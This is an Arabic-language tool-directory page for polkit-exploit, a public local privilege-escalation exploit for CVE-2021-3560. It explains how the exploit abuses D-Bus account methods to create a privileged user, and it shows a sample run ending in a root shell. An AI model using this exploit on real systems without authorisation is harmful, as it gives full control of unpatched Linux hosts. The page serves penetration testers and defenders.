Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Polkit-exploit — ترقية الامتيازات باستخدام polkit - CVE-2021-3560 | Kitploit
أدوات/GitHubGitHub/almorabea/polkit-exploit
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالما بعد الاستغلالاختبار الاختراقالفريق الأحمر
GitHubalmorabea/polkit-exploit

Polkit-exploit

ترقية الامتيازات باستخدام polkit - CVE-2021-3560

عرض المستودع
126521منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Polkit-exploit - CVE-2021-3560

تصعيد الامتيازات باستخدام polkit - CVE-2021-3560

ملخص

CVE-2021-3560 هو تجاوز للمصادقة على polkit، مما يسمح للمستخدم غير المميز باستدعاء طرق مميزة باستخدام DBus، في هذا الاستغلال سنقوم باستدعاء طريقتين مميزتين توفرهما accountsservice (CreateUser و SetPassword)، مما يسمح لنا بإنشاء مستخدم مميز ثم تعيين كلمة مرور له وفي النهاية تسجيل الدخول كمستخدم تم إنشاؤه ثم رفع الصلاحيات إلى الجذر.

مؤلف كود الاستغلال

Ahmad Almorabea @almorabea http://almorabea.net

الاستخدام

root@kitploit:~
test@ubuntu:~/Desktop$ python3 CVE-2021-3560.py 
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original Exploit Author: Kevin Backhouse 
For more details check this: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history
[+]Starting the Exploit 
[+] User Created with the name of ahmed
[+] Timed out at: 0.008446890996407191
[+] Timed out at: 0.008934336684707084
[+] Exploit Completed, your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root 
bash: cannot set terminal process group (46983): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/home/test/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/test/Desktop# whoami
root
root@ubuntu:/home/test/Desktop#

تجربة عملية

مصادقة واجهة المستخدم الرسومية


مصادقة الطرفية


الإسناد

Kevin Backhouse (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)

تنزيل الأداة